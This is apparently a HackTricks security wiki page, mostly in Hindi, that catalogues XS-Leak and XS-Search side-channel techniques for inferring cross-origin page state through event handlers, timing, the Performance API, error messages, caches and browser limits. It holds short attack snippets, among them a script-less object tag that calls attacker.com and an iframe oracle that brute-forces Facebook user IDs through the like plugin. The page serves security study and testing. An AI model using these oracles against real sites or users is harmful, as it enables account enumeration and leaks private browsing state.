XS-Search/XS-Leaks

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

बुनियादी जानकारी

XS-Search एक ऐसी विधि है जिसका उपयोग extracting cross-origin information के लिए किया जाता है, जो side channel vulnerabilities का लाभ उठाती है।

इस हमले में शामिल मुख्य घटक हैं:

  • Vulnerable Web: लक्षित वेबसाइट जहाँ से जानकारी निकाली जानी है।
  • Attacker’s Web: आक्रमणकर्ता द्वारा बनाई गई malicious वेबसाइट जिसे victim विज़िट करता है और जो exploit होस्ट करती है।
  • Inclusion Method: वह तकनीक जिसका उपयोग Vulnerable Web को Attacker’s Web में शामिल करने के लिए किया जाता है (उदा., window.open, iframe, fetch, HTML tag with href, आदि)।
  • Leak Technique: ऐसी तकनीकें जो inclusion method के माध्यम से एकत्रित जानकारी के आधार पर Vulnerable Web की स्थिति में अंतर का पता लगाती हैं।
  • States: Vulnerable Web की वे दो संभावित स्थितियाँ जिन्हें attacker अलग करना चाहता है।
  • Detectable Differences: वे observable अंतर जिनपर attacker निर्भर कर के Vulnerable Web की स्थिति का अनुमान लगाता है।

Detectable Differences

विभिन्न पहलुओं का विश्लेषण करके Vulnerable Web की स्थितियों में फर्क पहचाना जा सकता है:

  • Status Code: cross-origin में विभिन्न HTTP response status codes के बीच अंतर का पता लगाना, जैसे server errors, client errors, या authentication errors।
  • API Usage: यह पहचानना कि cross-origin पेज किसी specific JavaScript Web API का उपयोग करता है या नहीं।
  • Redirects: अलग पेजों पर नेविगेशन का पता लगाना — केवल HTTP redirects ही नहीं बल्कि JavaScript या HTML से ट्रिगर किए गए redirects भी।
  • Page Content: HTTP response body या पेज के sub-resources में बदलावों का अवलोकन, जैसे embedded frames की संख्या या images के size में अंतर।
  • HTTP Header: किसी specific HTTP response header की उपस्थिति या मान को नोट करना, जैसे X-Frame-Options, Content-Disposition, और Cross-Origin-Resource-Policy।
  • Timing: दोनों स्थितियों के बीच नियमित समय अंतर को नोट करना।

Inclusion Methods

  • HTML Elements: HTML विभिन्न elements प्रदान करता है जो cross-origin resource inclusion के लिए उपयोग किए जा सकते हैं, जैसे stylesheets, images, या scripts, जो browser को non-HTML resource request करने के लिए प्रेरित करते हैं। इस प्रयोजन के लिए संभावित HTML elements की एक सूची यहाँ मिल सकती है: https://github.com/cure53/HTTPLeaks।
  • Frames: ऐसे elements जैसे iframe, object, और embed HTML resources को सीधे attacker’s page में embed कर सकते हैं। यदि पेज में framing protection नहीं है, तो JavaScript framed resource के window object तक contentWindow property के माध्यम से पहुँच सकता है।
  • Pop-ups: window.open method एक resource को नए tab या window में खोलता है और JavaScript को SOP के तहत methods और properties के साथ इंटरैक्ट करने के लिए एक window handle प्रदान करता है। Pop-ups अक्सर single sign-on में उपयोग होते हैं और target resource की framing और cookie restrictions को दरकिनार कर सकते हैं। हालांकि, आधुनिक ब्राउज़र pop-up creation को कुछ user actions तक सीमित करते हैं।
  • JavaScript Requests: JavaScript लक्षित resources के लिए सीधे request करने की अनुमति देता है, जैसे XMLHttpRequests या Fetch API। ये तरीके request पर सटीक नियंत्रण प्रदान करते हैं, जैसे HTTP redirects को follow करने का विकल्प।

Leak Techniques

  • Event Handler: XS-Leaks में एक क्लासिक leak तकनीक, जहाँ event handlers जैसे onload और onerror resource के लोड होने की सफलता या असफलता के बारे में जानकारी देते हैं।
  • Error Messages: JavaScript exceptions या विशेष error pages leak जानकारी प्रदान कर सकते हैं, या तो सीधे error message से या उसकी उपस्थिति/अनुपस्थिति के अंतर से।
  • Global Limits: ब्राउज़र की भौतिक सीमाएँ, जैसे memory capacity या अन्य लागू ब्राउज़र limits, जब कोई threshold पहुँचता है तो संकेत दे सकती हैं और यह एक leak तकनीक के रूप में काम कर सकती हैं।
  • Global State: ब्राउज़र के global states (उदा., History interface) के साथ detectable interactions का दुरुपयोग किया जा सकता है। उदाहरण के लिए, ब्राउज़र की history में entries की संख्या cross-origin पेजों के बारे में संकेत दे सकती है।
  • Performance API: यह API current page के performance विवरण प्रदान करती है, जिसमें document और loaded resources के लिए network timing शामिल है, जिससे requested resources के बारे में अनुमान लगाया जा सकता है।
  • Readable Attributes: कुछ HTML attributes cross-origin readable होते हैं और इन्हें leak तकनीक के रूप में इस्तेमाल किया जा सकता है। उदाहरण के लिए, window.frame.length property JavaScript को cross-origin शामिल frames की गिनती करने की अनुमति देती है।

XSinator Tool & Paper

XSinator एक automatic tool है जो कई ज्ञात XS-Leaks के खिलाफ browsers की जाँच करने के लिए बनाया गया है, जैसा कि उसके पेपर में समझाया गया है: https://xsinator.com/paper.pdf

आप टूल को यहाँ एक्सेस कर सकते हैं: https://xsinator.com/

Warning

Excluded XS-Leaks: हमें उन XS-Leaks को exclude करना पड़ा जो service workers पर निर्भर करते हैं क्योंकि वे XSinator में अन्य leaks के साथ interfere कर सकते हैं। इसके अलावा, हमने उन XS-Leaks को भी exclude किया जो किसी specific web application में misconfiguration और bugs पर निर्भर करते हैं। उदाहरण के लिए, CrossOrigin Resource Sharing (CORS) misconfigurations, postMessage leakage या Cross-Site Scripting। इसके अतिरिक्त, हमने timebased XS-Leaks को भी exclude किया क्योंकि वे अक्सर slow, noisy और inaccurate होते हैं।

Timing Based techniques

नीचे दी गई कुछ techniques detection process के हिस्से के रूप में timing का उपयोग करेंगी ताकि वे वेब पेजों की संभावित स्थितियों में अंतर का पता लगा सकें। वेब ब्राउज़र में समय मापने के कई तरीके होते हैं।

Clocks: performance.now() API डेवलपर्स को high-resolution timing measurements लेने की अनुमति देती है.
attackers implicit clocks बनाने के लिए कई APIs का दुरुपयोग कर सकते हैं: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS animations, और अन्य।
अधिक जानकारी के लिए: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Event Handler Techniques

Onload/Onerror

Cookie Bomb + Onerror XS Leak

कोड उदाहरण JS से load scripts objects from JS करने की कोशिश करता है, लेकिन other tags जैसे objects, stylesheets, images, audios भी उपयोग किए जा सकते हैं। इसके अलावा, यह संभव है कि आप tag directly inject करें और onload तथा onerror events को tag के अंदर declare करें (JS से inject करने के बजाय)।

इस हमले का एक script-less संस्करण भी मौजूद है:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

इस मामले में अगर example.com/404 नहीं मिला तो attacker.com/?error लोड होगा।

Content-Type/CORB script load oracle

  • Inclusion Methods: HTML Elements (script)
  • Detectable Difference: पहचान योग्य अंतर: Header / Content-Type — onload बनाम onerror (CORB)
  • Summary: यदि कोई endpoint मेल होने पर HTML लौटाता है और mismatch पर JSON, तो उसे <script src> से लोड करें। HTML onload ट्रिगर करता है; JSON CORB द्वारा ब्लॉक होता है और onerror फायर करता है, जिससे ज्ञात स्कोप के भीतर __user जैसे identifiers को brute-force करने के लिए एक Boolean oracle मिलता है।
  • Notes: यह cross-origin काम करता है बिना response bodies पढ़े; जब एक tenant ID फिक्स हो तो active account को enumerate करने में उपयोगी।

postMessage vs X-Frame-Options deny oracle

  • Inclusion Methods: Frames
  • Detectable Difference: Header (XFO) + postMessage presence/absence
  • Summary: कुछ widgets लोड होने पर parent को postMessage भेजते हैं। अगर request गलत identifier के साथ framed हो तो server X-Frame-Options: deny के साथ उत्तर दे सकता है, जिससे rendering रोका जाता है और इसलिए कोई message emit नहीं होता। iframe का src candidate ID के साथ सेट करके, message इवेंट का इंतजार (सफलता) और timeout/कोई message न आने को असफलता मानकर, active account को brute-force किया जा सकता है।
  • Minimal snippet:
<iframe id=fb width=0 height=0></iframe>
<script>
function test(id){
fb.src=`https://www.facebook.com/plugins/like.php?__a=1&__user=${id}`;
return new Promise(r=>{
const t=setTimeout(()=>r(false),2000);
onmessage=()=>{clearTimeout(t);r(true);}
});
}
</script>

Iframe Traps

अधिक message/iframe की समस्याओं के लिए।

Onload Timing

performance.now example

Onload Timing + Forced Heavy Task

यह technique पिछले वाले जैसा ही है, लेकिन attacker कुछ action को force करके यह सुनिश्चित करता है कि जब answer positive या negative हो तो वह एक relevant amount time ले और उस समय को मापा जाए।

performance.now + Force heavy task

unload/beforeunload Timing

किसी resource को fetch करने में लगने वाला समय unload और beforeunload events का उपयोग करके मापा जा सकता है। beforeunload event तब फायर होता है जब ब्राउज़र किसी नई page पर नेविगेट करने वाला होता है, जबकि unload event उस समय होता है जब नेविगेशन वास्तव में हो रहा होता है। इन दोनों events के बीच का समयांतर निकालकर यह निर्धारित किया जा सकता है कि ब्राउज़र ने resource को fetch करने में कितना समय लगाया।

Sandboxed Frame Timing + onload

यह देखा गया है कि Framing Protections की अनुपस्थिति में, किसी page और उसके subresources को नेटवर्क पर लोड होने में लगने वाला समय attacker द्वारा मापा जा सकता है। यह मापन आम तौर पर इसलिए संभव होता है क्योंकि iframe का onload handler तभी ट्रिगर होता है जब resource लोडिंग और JavaScript execution पूरा हो चुका होता है। script execution से आने वाली वैरिएबिलिटी को बायपास करने के लिए attacker <iframe> के भीतर sandbox attribute का उपयोग कर सकता है। इस attribute को शामिल करने से कई functionalities, विशेष रूप से JavaScript execution, प्रतिबंधित हो जाती हैं, जिससे मापन मुख्यतः नेटवर्क प्रदर्शन से प्रभावित होता है।

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info:
  • Summary: यदि आप पेज को इस तरह बनाकर एरर करवा सकते हैं जब सही कंटेंट एक्सेस हो और पेज को सही तरीके से लोड करा सकते हैं जब कोई भी कंटेंट एक्सेस हो, तो आप समय मापे बिना सभी जानकारी निकालने के लिए एक लूप बना सकते हैं।
  • Code Example:

Suppose that you can insert the page that has the secret content inside an Iframe.

You can make the victim search for the file that contains “flag” using an Iframe (exploiting a CSRF for example). Inside the Iframe you know that the onload event will be executed always at least once. Then, you can change the URL of the iframe but changing only the content of the hash inside the URL.

For example:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

If the first URL was successfully loaded, then, when changing the hash part of the URL the onload event won’t be triggered again. But if the page had some kind of error when loading, then, the onload event will be triggered again.

Then, you can distinguish between a correctly loaded page or page that has an error when is accessed.

Javascript Execution

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info:
  • Summary: यदि पेज संवेदनशील कंटेंट वापस कर रहा है, या ऐसा कंटेंट जो यूजर द्वारा कंट्रोल किया जा सकता है। यूजर नकारात्मक केस में वैध JS कोड सेट कर सकता है और हर कोशिश में <script> टैग्स के अंदर एक load डाल सकता है, ताकि नकारात्मक मामलों में attacker का कोड execute हो जाए, और सकारात्मक मामलों में कुछ भी execute न हो।
  • Code Example:

JavaScript Execution XS Leak

CORB - Onerror

  • Inclusion Methods: HTML Elements
  • Detectable Difference: Status Code & Headers
  • More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Summary: Cross-Origin Read Blocking (CORB) एक सुरक्षा उपाय है जो Spectre जैसे हमलों से बचाने के लिए कुछ संवेदनशील cross-origin resources को लोड होने से रोकता है। हालाँकि, attackers इसके protective व्यवहार का दुरुपयोग कर सकते हैं। जब CORB-संबंधित response एक CORB protected Content-Type के साथ nosniff और 2xx status code लौटाता है, तो CORB response की body और headers को strip कर देता है। जो attacker इसे observe कर रहे हैं वे status code (success या error को दर्शाने वाला) और Content-Type (यह दर्शाने वाला कि क्या यह CORB द्वारा सुरक्षित है) का संयोजन अनुमान लगा सकते हैं, जिससे संभावित information leak हो सकती है।
  • Code Example:

Check the more information link for more information about the attack.

onblur

It’s possible to load a page inside an iframe and use the #id_value to make the page focus on the element of the iframe with indicated if, then if an onblur signal is triggered, the ID element exists.
You can perform the same attack with portal tags.

postMessage Broadcasts

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: API Usage
  • More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Summary: postMessage से संवेदनशील जानकारी इकट्ठा करना या postMessages की उपस्थिति को oracle के रूप में उपयोग करके पेज में यूजर की स्थिति जानना।
  • Code Example: Any code listening for all postMessages.

Applications frequently utilize postMessage broadcasts to communicate across different origins. However, this method can inadvertently expose sensitive information if the targetOrigin parameter is not properly specified, allowing any window to receive the messages. Furthermore, the mere act of receiving a message can act as an oracle; for instance, certain messages might only be sent to users who are logged in. Therefore, the presence or absence of these messages can reveal information about the user’s state or identity, such as whether they are authenticated or not.

Global Limits Techniques

WebSocket API

It is possible to identify if, and how many, WebSocket connections a target page uses. It allows an attacker to detect application states and leak information tied to the number of WebSocket connections.

If one origin uses the maximum amount of WebSocket connection objects, regardless of their connections state, the creation of new objects will result in JavaScript exceptions. To execute this attack, the attacker website opens the target website in a pop-up or iframe and then, after the target web has been loaded, attempts to create the maximum number of WebSockets connections possible. The number of thrown exceptions is the number of WebSocket connections used by the target website window.

Payment API

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: API Usage
  • More info: https://xsinator.com/paper.pdf (5.1)
  • Summary: क्योंकि केवल एक ही Payment Request एक समय में active हो सकती है, इसका पता लगाया जा सकता है कि Payment Request चालू है या नहीं।
  • Code Example: https://xsinator.com/testing.html#Payment%20API%20Leak

This XS-Leak enables an attacker to detect when a cross-origin page initiates a payment request.

Because only one request payment can be active at the same time, if the target website is using the Payment Request API, any further attempts to show use this API will fail, and cause a JavaScript exception. The attacker can exploit this by periodically attempting to show the Payment API UI. If one attempt causes an exception, the target website is currently using it. The attacker can hide these periodical attempts by immediately closing the UI after creation.

Timing the Event Loop

Event Loop Blocking + Lazy images

JavaScript operates on a single-threaded event loop concurrency model, signifying that it can only execute one task at a time. This characteristic can be exploited to gauge how long code from a different origin takes to execute. An attacker can measure the execution time of their own code in the event loop by continuously dispatching events with fixed properties. These events will be processed when the event pool is empty. If other origins are also dispatching events to the same pool, an attacker can infer the time it takes for these external events to execute by observing delays in the execution of their own tasks. This method of monitoring the event loop for delays can reveal the execution time of code from different origins, potentially exposing sensitive information.

Warning

किसी execution timing में ज्यादा सटीक माप प्राप्त करने के लिए network factors को eliminate किया जा सकता है। उदाहरण के लिए, पेज के उपयोग किए जाने वाले resources को पहले लोड करके।

Busy Event Loop

  • Inclusion Methods:
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Summary: किसी वेब ऑपरेशन के execution time को मापने का एक तरीका है event loop को जानबूझकर block करना और फिर यह समय मापना कि event loop फिर से उपलब्ध होने में कितना समय लेता है। एक blocking operation (जैसे लंबा computation या synchronous API कॉल) डालकर और subsequent code के शुरू होने में लगने वाले समय की निगरानी करके, यह अंदाजा लगाया जा सकता है कि blocking अवधि के दौरान event loop में कौन से कार्य चल रहे थे। यह तकनीक JavaScript के single-threaded event loop की sequential execution पर निर्भर करती है और इससे अन्य operations के प्रदर्शन या व्यवहार के बारे में जानकारी मिल सकती है।
  • Code Example:

A significant advantage of the technique of measuring execution time by locking the event loop is its potential to circumvent Site Isolation. Site Isolation is a security feature that separates different websites into separate processes, aiming to prevent malicious sites from directly accessing sensitive data from other sites. However, by influencing the execution timing of another origin through the shared event loop, an attacker can indirectly extract information about that origin’s activities. This method does not rely on direct access to the other origin’s data but rather observes the impact of that origin’s activities on the shared event loop, thus evading the protective barriers established by Site Isolation.

Warning

किसी execution timing में ज्यादा सटीक माप प्राप्त करने के लिए network factors को eliminate किया जा सकता है। उदाहरण के लिए, पेज के उपयोग किए जाने वाले resources को पहले लोड करके।

Connection Pool

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Summary: एक attacker सभी sockets को lock कर सकता है सिवाय 1 के, target web को लोड कर सकता है और उसी समय एक और पृष्ठ लोड कर सकता है; अंतिम पेज के लोड शुरू होने तक का समय target पेज के लोड समय का संकेत देता है।
  • Code Example:

Connection Pool Examples

Browsers utilize sockets for server communication, but due to the limited resources of the operating system and hardware, browsers are compelled to impose a limit on the number of concurrent sockets. Attackers can exploit this limitation through the following steps:

  1. Ascertain the browser’s socket limit, for instance, 256 global sockets.
  2. Occupy 255 sockets for an extended duration by initiating 255 requests to various hosts, designed to keep the connections open without completing.
  3. Employ the 256th socket to send a request to the target page.
  4. Attempt a 257th request to a different host. Given that all sockets are in use (as per steps 2 and 3), this request will be queued until a socket becomes available. The delay before this request proceeds provides the attacker with timing information about the network activity related to the 256th socket (the target page’s socket). This inference is possible because the 255 sockets from step 2 are still engaged, implying that any newly available socket must be the one released from step 3. The time taken for the 256th socket to become available is thus directly linked to the time required for the request to the target page to complete.

For more info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Connection Pool by Destination

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info:
  • Summary: यह पूर्व तकनीक जैसा है पर Chrome एक origin के लिए 6 concurrent requests की सीमा रखता है। यदि हम 5 को block करें और फिर 6th request भेजें तो हम इसे time कर सकते हैं और यदि हम victim पेज को उसी endpoint पर और request भेजवाने में सफल होते हैं ताकि पेज की स्थिति का पता लग सके, तो 6th request अधिक समय लेगा और हम इसे detect कर पाएंगे।

Performance API Techniques

The Performance API offers insights into the performance metrics of web applications, further enriched by the Resource Timing API. The Resource Timing API enables the monitoring of detailed network request timings, such as the duration of the requests. Notably, when servers include the Timing-Allow-Origin: * header in their responses, additional data like the transfer size and domain lookup time becomes available.

This wealth of data can be retrieved via methods like performance.getEntries or performance.getEntriesByName, providing a comprehensive view of performance-related information. Additionally, the API facilitates the measurement of execution times by calculating the difference between timestamps obtained from performance.now(). However, it’s worth noting that for certain operations in browsers like Chrome, the precision of performance.now() may be limited to milliseconds, which could affect the granularity of timing measurements.

Beyond timing measurements, the Performance API can be leveraged for security-related insights. For instance, the presence or absence of pages in the performance object in Chrome can indicate the application of X-Frame-Options. Specifically, if a page is blocked from rendering in a frame due to X-Frame-Options, it will not be recorded in the performance object, providing a subtle clue about the page’s framing policies.

Error Leak

It is possible to differentiate between HTTP response status codes because requests that lead to an error do not create a performance entry.

Style Reload Error

In the previous technique it was also identified two cases where browser bugs in GC lead to resources being loaded twice when they fail to load. This will result in multiple entries in the Performance API and can thus be detected.

Request Merging Error

The technique was found in a table in the mentioned paper but no description of the technique was found on it. However, you can find the source code checking for it in https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Empty Page Leak

An attacker can detect if a request resulted in an empty HTTP response body because empty pages do not create a performance entry in some browsers.

XSS-Auditor Leak

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info: https://xsinator.com/paper.pdf (5.2)
  • Summary: XSS Auditor का उपयोग Security Assertions में करके attackers crafted payloads के auditor के filtering को trigger करने पर responses में परिवर्तनों को देखकर विशिष्ट webpage elements का पता लगा सकते हैं।
  • Code Example: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak

In Security Assertions (SA), the XSS Auditor, originally intended to prevent Cross-Site Scripting (XSS) attacks, can paradoxically be exploited to leak sensitive information. Although this built-in feature was removed from Google Chrome (GC), it’s still present in SA. In 2013, Braun and Heiderich demonstrated that the XSS Auditor could inadvertently block legitimate scripts, leading to false positives. Building on this, researchers developed techniques to extract information and detect specific content on cross-origin pages, a concept known as XS-Leaks, initially reported by Terada and elaborated by Heyes in a blog post. Although these techniques were specific to the XSS Auditor in GC, it was discovered that in SA, pages blocked by the XSS Auditor do not generate entries in the Performance API, revealing a method through which sensitive information might still be leaked.

X-Frame Leak

If a page is not allowed to be rendered in an iframe it does not create a performance entry. As a result, an attacker can detect the response header X-Frame-Options.
Same happens if you use an embed tag.

Download Detection

Similar, to the XS-Leak described, a resource that is downloaded because of the ContentDisposition header, also does not create a performance entry. This technique works in all major browsers.

Redirect Start Leak

We found one XS-Leak instance that abuses the behavior of some browsers which log too much information for cross-origin requests. The standard defines a subset of attributes that should be set to zero for cross-origin resources. However, in SA it is possible to detect if the user is redirected by the target page, by querying the Performance API and checking for the redirectStart timing data.

Duration Redirect Leak

In GC, the duration for requests that result in a redirect is negative and can thus be distinguished from requests that do not result in a redirect.

CORP Leak

In some cases, the nextHopProtocol entry can be used as a leak technique. In GC, when the CORP header is set, the nextHopProtocol will be empty. Note that SA will not create a performance entry at all for CORP-enabled resources.

Service Worker

Service workers are event-driven script contexts that run at an origin. They run in the background of a web page and can intercept, modify, and cache resources to create offline web application.
If a resource cached by a service worker is accessed via iframe, the resource will be loaded from the service worker cache.
To detect if the resource was loaded from the service worker cache the Performance API can be used.
This could also be done with a Timing attack (check the paper for more info).

Cache

Using the Performance API it’s possible to check if a resource is cached.

Network Duration

Error Messages Technique

Media Error

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}

function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}

The MediaError interface की message property उन resources को एक विशिष्ट string के साथ अनन्य रूप से पहचानती है जो सफलतापूर्वक लोड होती हैं। एक attacker इस सुविधा का दुरुपयोग करके message की सामग्री देखकर cross-origin resource की response स्थिति का अनुमान लगा सकता है।

CORS Error

यह तकनीक Webkit-based ब्राउज़र्स में CORS अनुरोधों के हैंडलिंग के तरीके का लाभ उठाकर एक attacker को cross-origin साइट के redirect के destination को extract करने की अनुमति देती है। विशेष रूप से, जब किसी target साइट को भेजा गया एक CORS-enabled request उपयोगकर्ता की स्थिति के आधार पर redirect करता है और ब्राउज़र बाद में अनुरोध को deny कर देता है, तो error message में redirect के target का पूरा URL disclose हो जाता है। यह भेद्यता सिर्फ redirect की घटना को उजागर नहीं करती बल्कि redirect के endpoint और उसमें मौजूद किसी भी sensitive query parameters को भी उजागर कर देती है।

SRI Error

एक attacker verbose error messages का फायदा उठाकर cross-origin responses के size का अनुमान लगा सकता है। यह Subresource Integrity (SRI) के मेकैनिज़्म के कारण संभव है, जो integrity attribute का उपयोग करके यह सत्यापित करता है कि fetched resources (अक्सर CDNs से) tampered नहीं हुए हैं। SRI के लिए cross-origin resources का CORS-enabled होना ज़रूरी है; अन्यथा उन्हें integrity checks के अधीन नहीं रखा जाता। Security Assertions (SA) में, CORS error XS-Leak की तरह, एक error message को fetch अनुरोध के fail होने पर capture किया जा सकता है जब उस अनुरोध में integrity attribute हो। Attackers जानबूझकर इस error को trigger कर सकते हैं अगर वे किसी request के integrity attribute को एक bogus hash value दे दें। SA में, resulting error message अनजाने में requested resource की content length उजागर कर देता है। यह information leakage attacker को response size में वैरिएशन पहचानने में मदद करती है, जो sophisticated XS-Leak attacks के लिए मार्ग प्रशस्त कर सकती है।

CSP Violation/Detection

एक XS-Leak CSP का उपयोग करके यह पता लगा सकता है कि क्या किसी cross-origin साइट को किसी दूसरे origin पर redirect किया गया था। यह leak redirect का पता लगा सकता है और इसके अलावा redirect target का domain भी leak हो सकता है। इस attack का बेसिक विचार यह है कि attacker target domain को attacker की साइट पर allow कर देता है। जब target domain को request भेजा जाता है, वह किसी cross-origin domain पर redirect कर सकता है। CSP blocks उस access को और एक violation report जो leak technique के रूप में उपयोग होती है बना देता है। ब्राउज़र पर निर्भर करते हुए, यह report redirect के target स्थान को leak कर सकती है। आधुनिक ब्राउज़र्स आम तौर पर उस URL को सीधे इंगित नहीं करते जिस पर redirect हुआ था, लेकिन आप फिर भी पता लगा सकते हैं कि cross-origin redirect हुआ था।

Cache

ब्राउज़र्स संभवतः सभी वेबसाइट्स के लिए एक साझा cache उपयोग करते हैं। उनके origin की परवाह किए बिना, यह निर्धारित करना संभव है कि क्या किसी target पेज ने किसी specific file को request किया था।

यदि कोई पेज एक image तभी लोड करता है जब user logged in है, तो आप resource को invalidate कर सकते हैं (ताकि वह अब cached न रहे यदि वह पहले cached था, अधिक जानकारी के लिए ऊपर दिए लिंक देखें), फिर एक request perform कर सकते हैं जो उस resource को लोड कर सकता है और अंत में resource को एक bad request के साथ लोड करने की कोशिश कर सकते हैं (उदा. overlong referer header का उपयोग करके)। यदि resource load करने पर कोई error trigger नहीं हुआ, तो इसका मतलब है कि वह resource पहले से cached था।

CSP Directive

Google Chrome की एक नई सुविधा (GC) वेब पेजों को iframe तत्व पर attribute सेट करके Content Security Policy (CSP) propose करने की अनुमति देती है, और policy directives HTTP request के साथ भेजे जाते हैं। सामान्य रूप से, embedded content को इसे अपने HTTP header के माध्यम से authorize करना चाहिए, वरना एक error page दिखाई देता है। हालांकि, यदि iframe पहले से किसी CSP के अधीन है और नया proposed policy अधिक restrictive नहीं है, तो पेज सामान्य रूप से लोड हो जाएगा। यह मेकैनिज़्म attacker को एक cross-origin पेज के specific CSP directives का पता लगाने का रास्ता देता है क्योंकि वह error page की पहचान कर सकता है। भले ही इस vulnerability को fixed बताया गया था, हमारी खोज एक नया leak technique उजागर करती है जो error page का पता लगाने में सक्षम है, यह इंगित करते हुए कि मूल समस्या पूरी तरह से ठीक नहीं हुई थी।

CORP

CORP header एक अपेक्षाकृत नया web platform security फीचर है जो सेट होने पर दिए गए resource के लिए no-cors cross-origin requests को block कर देता है। इस header की उपस्थिति का पता लगाया जा सकता है, क्योंकि CORP से संरक्षित resource को fetch करने पर वह error फेंकेगा।

CORB

अटैक के बारे में अधिक जानकारी के लिए लिंक देखें।

CORS error on Origin Reflection misconfiguration

यदि Origin header को Access-Control-Allow-Origin हेडर में reflect किया जा रहा है तो attacker इस व्यवहार का दुरुपयोग करके CORS मोड में resource को fetch करने की कोशिश कर सकता है। यदि कोई error trigger नहीं होता, तो इसका मतलब है कि resource को वेब से सही ढंग से retrieve किया गया था; यदि error trigger होता है, तो इसका कारण यह है कि resource cache से access किया गया था (यह error इसलिए दिखाई देता है क्योंकि cache ने एक response सहेजा होता है जिसमें CORS header original domain को allow करता है, न कि attacker के domain को)।
ध्यान दें कि यदि origin reflect नहीं किया जा रहा है लेकिन wildcard (Access-Control-Allow-Origin: *) उपयोग में है तो यह तरीका काम नहीं करेगा।

Readable Attributes Technique

Fetch Redirect

redirect: "manual" और अन्य params के साथ Fetch API का उपयोग करके एक request सबमिट करने पर, आप response.type attribute पढ़ सकते हैं और यदि यह opaqueredirect के बराबर है तो response एक redirect था।

COOP

एक attacker cross-origin HTTP response में Cross-Origin Opener Policy (COOP) header की उपस्थिति का पता लगा सकता है। COOP वेब एप्लिकेशंस द्वारा उपयोग किया जाता है ताकि external sites arbitrary window references प्राप्त न कर सकें। इस header की उपस्थिति contentWindow reference को access करने की कोशिश द्वारा पहचानी जा सकती है। उन परिस्थितियों में जहां COOP conditional रूप से लागू है, opener property एक संकेतक बन जाती है: COOP सक्रिय होने पर यह undefined होता है, और COOP न होने पर यह defined होता है।

URL Max Length - Server Side

यदि server-side redirect में user input का उपयोग किया जा रहा है और extra data जोड़ी जा रही है, तो इस व्यवहार का पता लगाना संभव है क्योंकि आम तौर पर servers के पास request length की एक limit होती है। यदि user data उस limit - 1 के बराबर है और redirect उसमें कुछ अतिरिक्त जोड़ता है, तो यह ऐसा error trigger करेगा जिसे Error Events के माध्यम से पता लगाया जा सकता है।

यदि आप किसी user के लिए cookies सेट कर सकते हैं, तो आप यह attack perform कर सकते हैं द्वारा पर्याप्त cookies सेट करके (cookie bomb) ताकि correct response के बढ़े हुए आकार के कारण एक error ट्रिगर हो। इस मामले में, ध्यान रखें कि यदि आप यह request उसी साइट से trigger कर रहे हैं, तो <script> स्वचालित रूप से cookies भेज देगा (इसलिए आप errors चेक कर सकते हैं)।
cookie bomb + XS-Search का एक उदाहरण इस writeup के Intended solution में पाया जा सकता है: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

इस तरह के attack के लिए आम तौर पर SameSite=None या उसी context में होना ज़रूरी होता है।

URL Max Length - Client Side

Chromium documentation के अनुसार, Chrome का maximum URL length 2MB है।

सामान्यतः, web platform के पास URLs की लंबाई पर सीमाएँ नहीं होती (हालाँकि 2^31 एक सामान्य सीमा है)। Chrome व्यावहारिक कारणों और inter-process communication में denial-of-service समस्याएँ टालने के लिए URLs को अधिकतम 2MB तक सीमित करता है।

इसलिए यदि किसी मामले में redirect URL बहुत बड़ा है, तो आप इसे 2MB से बड़ा बनाकर length limit तक पहुँचा सकते हैं। जब ऐसा होता है, Chrome एक about:blank#blocked पेज दिखाता है।

नोट करने योग्य अंतर यह है कि यदि redirect पूरा हो गया तो window.origin एक error फेंकता है क्योंकि cross origin उस जानकारी तक पहुँच नहीं सकता। हालांकि, यदि limit hit हुई और लोड किया गया पेज about:blank#blocked था तो window का origin parent का रहता है, जो कि पहुँच योग्य information होती है।

सभी अतिरिक्त जानकारी जो 2MB तक पहुँचने के लिए चाहिए वह initial URL में hash के जरिए जोड़ दी जा सकती है ताकि वह redirect में उपयोग हो सके।

